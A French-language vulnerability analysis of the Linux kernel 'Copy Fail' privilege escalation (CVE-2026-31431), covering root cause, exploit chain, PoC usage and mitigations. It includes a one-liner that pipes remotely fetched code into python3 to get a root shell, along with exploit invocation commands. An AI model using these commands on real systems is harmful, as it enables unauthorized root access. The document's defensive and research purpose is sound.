PoC CVE-2026-31431

Élévation de privilèges locale dans le noyau Linux via l'écriture dans le cache de pages de algif_aead (« Copy Fail »)

Auteur : Van Glenndon Enad

Découverte originale : Theori / Xint Code Research Team (Taeyang Lee)

Publié : 29 avril 2026

Sévérité : Élevée

Score CVSS v3.1 : 7,8

Vecteur CVSS v3.1 : CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE : CWE-787 (Écriture hors limites), CWE-269 (Gestion inappropriée des privilèges)

Table des matières

1. Résumé exécutif
2. Logiciels concernés
3. Description de la vulnérabilité
4. Analyse de la cause racine
5. Prérequis
6. Chaîne d'exploitation
7. Analyse de la charge utile
8. Preuve de concept
9. Impact
10. Remédiation
11. Références
12. Chronologie de divulgation

Résumé exécutif

La CVE-2026-31431, surnommée publiquement « Copy Fail », est une vulnérabilité d'élévation de privilèges locale (LPE) de sévérité élevée dans le module algif_aead du noyau Linux — l'interface de chiffrement AEAD de l'API cryptographique du noyau accessible depuis l'espace utilisateur (AF_ALG). Le défaut provient d'une optimisation de performance (opération « in-place ») introduite en 2017 via le commit 72548b093ee3, qui permettait par inadvertance de placer des pages de fichiers adossées au cache de pages dans la liste scatterlist de destination accessible en écriture lors d'une opération cryptographique AEAD.

En enchaînant trois sous-systèmes du noyau — les sockets AF_ALG, l'appel système splice() et le comportement d'écriture temporaire de l'algorithme authencesn — un utilisateur local non privilégié peut effectuer une écriture contrôlée de 4 octets dans le cache de pages de n'importe quel fichier lisible. En ciblant un binaire setuid tel que /usr/bin/su, cette écriture corrompt l'image exécutable en mémoire sans modifier le fichier sur disque, contournant ainsi les outils d'intégrité des fichiers sur disque. L'élévation de privilèges résultante vers root est déterministe — aucune condition de course, aucun décalage de noyau spécifique à une distribution et aucun privilège spécial ne sont requis. Un exploit PoC Python de 732 octets publié publiquement fournit des shells root sur Ubuntu, Amazon Linux, RHEL et SUSE en une seule exécution non modifiée.

Logiciels concernés

La vulnérabilité est silencieusement présente dans toutes les distributions Linux grand public depuis près de neuf ans. Selon Theori, AF_ALG est activé dans la configuration de noyau par défaut de pratiquement toutes les distributions, ce qui signifie qu'aucun indicateur de compilation ou configuration spéciale n'est nécessaire pour qu'un système soit vulnérable.

Description de la vulnérabilité

Le noyau Linux expose des primitives cryptographiques à l'espace utilisateur via l'interface socket AF_ALG (crypto/algif_aead.c). En 2017, une optimisation de performance a été fusionnée, permettant à algif_aead d'effectuer des opérations AEAD en place — réutilisant le tampon mémoire source comme destination — afin d'éviter des copies de données inutiles.

Le défaut apparaît lorsque l'espace utilisateur alimente la socket AF_ALG via l'appel système splice(). Dans ce cas, les pages placées dans la liste scatterlist source sont des pages du cache de pages — une mémoire partagée gérée par le noyau qui soutient le fichier épissé. En raison de l'optimisation en place définissant req->src = req->dst, ces pages du cache de pages se retrouvent dans la liste scatterlist de destination accessible en écriture. L'algorithme authencesn effectue ensuite une écriture temporaire à dst[assoclen + cryptlen], qui se résout en un décalage dans ces pages du cache de pages — écrivant effectivement des données contrôlées par l'attaquant dans l'image mémoire du fichier épissé.

Parce que le cache de pages est partagé sur l'ensemble de l'hôte, y compris les conteneurs, une écriture depuis un processus affecte les pages mises en cache de ce fichier pour chaque processus et conteneur sur le même noyau.

Analyse de la cause racine

L'optimisation en place de 2017

Le changement fautif dans algif_aead.c définissait req->src = req->dst et enchaînait les pages d'étiquette de la liste scatterlist source dans la liste de sortie via sg_chain() :

/* Optimisation en place de 2017 — commit 72548b093ee3 */
req->src = req->dst;             /* source == destination */
sg_chain(dst, n + 1, src_tag);   /* pages d'étiquette enchaînées dans dst accessible en écriture */

Lorsque splice() est utilisé pour alimenter un fichier dans la socket, les pages de la liste scatterlist sont adossées au cache de pages, et non à une mémoire anonyme privée. Les enchaîner dans la liste dst accessible en écriture viole l'hypothèse selon laquelle la destination est une mémoire privée accessible en écriture.

L'écriture temporaire de authencesn

Le modèle authencesn écrit une valeur temporaire de numéro de séquence (seqno_lo, octets 4 à 7 de l'AAD) à dst[assoclen + cryptlen]. Parce que dst contient désormais des pages du cache de pages du fichier épissé, cette écriture atterrit à un décalage contrôlé par l'attaquant dans l'image mémoire du fichier :

/* Écriture temporaire authencesn — décalage déterminé par assoclen + cryptlen */
scatterwalk_map_and_copy(seqno, dst,
                         req->assoclen + req->cryptlen,
                         sizeof(seqno), 1);    /* écrit dans le cache de pages */

Les 4 octets écrits correspondent à seqno_lo, que l'attaquant contrôle via la charge utile AAD envoyée via sendmsg().

La surface d'attaque à trois composants

Socket AF_ALG (SOCK_SEQPACKET)
    │
    │  splice() — fournit des pages adossées à un fichier dans la socket
    ▼
Optimisation en place algif_aead
    │  req->src = req->dst
    │  les pages du cache de pages atterrissent dans la liste scatterlist accessible en écriture
    ▼
Écriture temporaire authencesn
    │  écrit seqno_lo à dst[assoclen + cryptlen]
    │  = 4 octets choisis par l'attaquant à un décalage de fichier choisi par l'attaquant
    ▼
Corruption du cache de pages (aucune modification sur disque)

Pourquoi la correction fonctionne

La correction (a664bf3d603d) annule entièrement l'optimisation en place — algif_aead fonctionne désormais toujours hors place, allouant un tampon de destination séparé. Puisque la source et la destination proviennent désormais de mappages différents, les pages du cache de pages dans src ne peuvent jamais être atteintes par le chemin d'écriture de dst.

Prérequis

Notablement absents des prérequis : accès réseau, fonctionnalités de débogage du noyau, CAP_SYS_ADMIN, modules de noyau préchargés ou toute primitive préexistante. La surface d'attaque est entièrement locale et autonome.

Chaîne d'exploitation

Étape 1 : L'attaquant ouvre une socket AEAD AF_ALG (SOCK_SEQPACKET)
        │  charge automatiquement le module algif_aead ; aucun root requis
        ▼
Étape 2 : L'attaquant ouvre le binaire setuid cible (par exemple /usr/bin/su) en lecture
        │  seule la permission de lecture est requise
        ▼
Étape 3 : splice() transfère les pages du fichier cible dans la socket AF_ALG
        │  les pages du cache de pages sont désormais dans la liste scatterlist source
        ▼
Étape 4 : L'optimisation en place se déclenche : req->src = req->dst
        │  les pages du cache de pages entrent dans la liste scatterlist de destination accessible en écriture
        ▼
Étape 5 : Le chemin de déchiffrement authencesn effectue une écriture temporaire à dst[assoclen + cryptlen]
        │  l'attaquant contrôle assoclen, cryptlen et la valeur seqno_lo de 4 octets
        ▼
Étape 6 : L'écrasement contrôlé de 4 octets atterrit dans le cache de pages de /usr/bin/su
        │  le binaire en mémoire est corrigé ; le fichier sur disque est inchangé
        ▼
Étape 7 : L'attaquant exécute `su` — l'image mémoire corrompue s'exécute en tant que root
        │  le bit setuid est préservé ; le noyau exécute le code corrigé par l'attaquant
        ▼
Étape 8 : Shell root obtenu — l'élévation de privilèges est terminée

Dans les environnements de conteneurs, l'étape 6 propage la corruption du cache de pages à l'hôte et à tous les conteneurs frères partageant le même noyau, permettant une évasion complète de conteneur.

Analyse de la charge utile

Le PoC (copy_fail_exp.py, 732 octets) utilise uniquement les modules de la bibliothèque standard Python 3.10+ : os, socket et zlib. L'exploit construit et envoie une charge utile sendmsg() précisément conçue à la socket AF_ALG après avoir préparé les pages du fichier via splice().

Paramètres d'écriture contrôlée

Cible : correctif ELF de /usr/bin/su

Le PoC par défaut cible /usr/bin/su. L'écriture de 4 octets corrige une instruction spécifique dans la page mise en cache du binaire ELF — remplaçant une branche de vérification de privilège ou une vérification uid par un no-op ou un saut inconditionnel — de sorte que lorsque su est ensuite exécuté, l'environnement d'exécution setuid exécute le code corrigé en tant que root. La corruption est non persistante : une éviction de page ou un redémarrage restaure le binaire d'origine.

Pourquoi aucune fenêtre de course

Contrairement aux attaques typiques sur le cache de pages (par exemple, Dirty COW), Copy Fail ne nécessite aucune condition de course. Le chemin d'écriture est linéaire : splice() → sendmsg() → écriture temporaire. Chaque appel est déterministe et synchrone, rendant l'exploit hautement fiable sur le matériel, les versions de noyau et les distributions.

Preuve de concept

Avertissement : Ce PoC est fourni uniquement à des fins éducatives, de recherche et de test autorisé. Ne l'utilisez pas contre un système que vous ne possédez pas ou pour lequel vous n'avez pas d'autorisation écrite explicite de test.

Le PoC canonique est maintenu par Theori dans le dépôt officiel. Il s'agit d'un script Python 3.10+ autonome de 732 octets sans dépendances externes.

Utilisation par défaut (cible /usr/bin/su) :

python3 copy_fail_exp.py

Cible setuid personnalisée :

python3 copy_fail_exp.py /usr/bin/sudo

En une ligne (depuis le site officiel) :

curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

SHA256 du PoC canonique :

a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9

Le même script non modifié a été publiquement démontré obtenant des shells root sur Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1 et SUSE 16 dans une seule session tmux.

Impact

Le vecteur d'impact le plus critique est les environnements multi-locataires : machines de développement partagées, nœuds de travail Kubernetes, exécuteurs auto-hébergés GitHub Actions, agents CI GitLab/Jenkins, plateformes d'hébergement de notebooks et environnements serverless où le code fourni par l'utilisateur s'exécute sous un compte utilisateur régulier. Tout environnement de ce type exécutant un noyau non corrigé est entièrement compromis par tout utilisateur capable d'exécuter du code.

Remédiation

Action immédiate

Mettez à niveau le noyau vers une version contenant le commit de correction principal a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 :

Si une mise à niveau immédiate du noyau n'est pas possible

Désactivez le module de noyau algif_aead pour bloquer le chemin d'attaque à sa source :

# Rendre le blocage persistant après les redémarrages
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf

# Décharger le module du noyau en cours d'exécution (s'il est chargé)
rmmod algif_aead

Ce que cela casse : Cela n'affecte pas dm-crypt/LUKS, kTLS, IPsec/XFRM, SSH ou les bibliothèques standard OpenSSL/GnuTLS/NSS. Cela peut affecter les applications de l'espace utilisateur qui utilisent explicitement le moteur OpenSSL afalg ou qui lient directement des sockets aead. Vérifiez avec lsof | grep AF_ALG avant d'appliquer.

Défense en profondeur

• Conteneurs et sandbox : Bloquez la création de sockets AF_ALG via seccomp quel que soit l'état du correctif — ajoutez SOCK_SEQPACKET + AF_ALG à la liste de refus dans votre profil seccomp.
• Kubernetes : Appliquez des profils seccomp sur tous les pods ; déployez des règles d'audit du noyau au niveau des nœuds pour détecter la création inattendue de sockets AEAD AF_ALG.
• Détection (règle Falco) : Alertez sur tout processus en dehors de la chaîne d'outils de chiffrement de disque connue ouvrant une socket AF_ALG SOCK_SEQPACKET — c'est la première étape obligatoire de l'exploit.
• Surveillance de l'intégrité des fichiers : Les outils FIM standard ne détecteront pas cette attaque (aucun changement sur disque). Surveillez les exécutions inattendues de su/sudo combinées à l'utilisation de sockets AF_ALG comme signal comportemental.
• Principe du moindre privilège : Évitez d'exécuter du code non fiable sur des noyaux partagés avec d'autres charges de travail sensibles.

Chronologie de divulgation

• NVD — CVE-2026-31431
• Theori / Site officiel Copy Fail — copy.fail
• Theori — Dépôt officiel du PoC (GitHub)
• Blog Xint Code — Copy Fail : 732 octets vers root sur chaque grande distribution Linux
• Blog de sécurité Microsoft — CVE-2026-31431 : la vulnérabilité Copy Fail permet l'élévation de privilèges root sous Linux
• Openwall OSS-Security — Divulgation complète CVE-2026-31431
• Avis de sécurité CERT-EU 2026-005
• Blog Sysdig — La faille du noyau Linux Copy Fail permet aux utilisateurs locaux d'obtenir root en quelques secondes
• Blog Bugcrowd — Ce que nous savons sur Copy Fail (CVE-2026-31431)
• Blog AlmaLinux — Correctifs Copy Fail (CVE-2026-31431) publiés
• Portail client Red Hat — CVE-2026-31431
• Tenable — CVE-2026-31431

Avis de non-responsabilité légal : Cette analyse et cette preuve de concept sont publiées strictement à des fins éducatives, de recherche et de sécurité défensive. L'auteur ne cautionne pas l'accès non autorisé aux systèmes informatiques. Obtenez toujours une autorisation écrite explicite avant d'effectuer des tests de sécurité contre un système que vous ne possédez pas.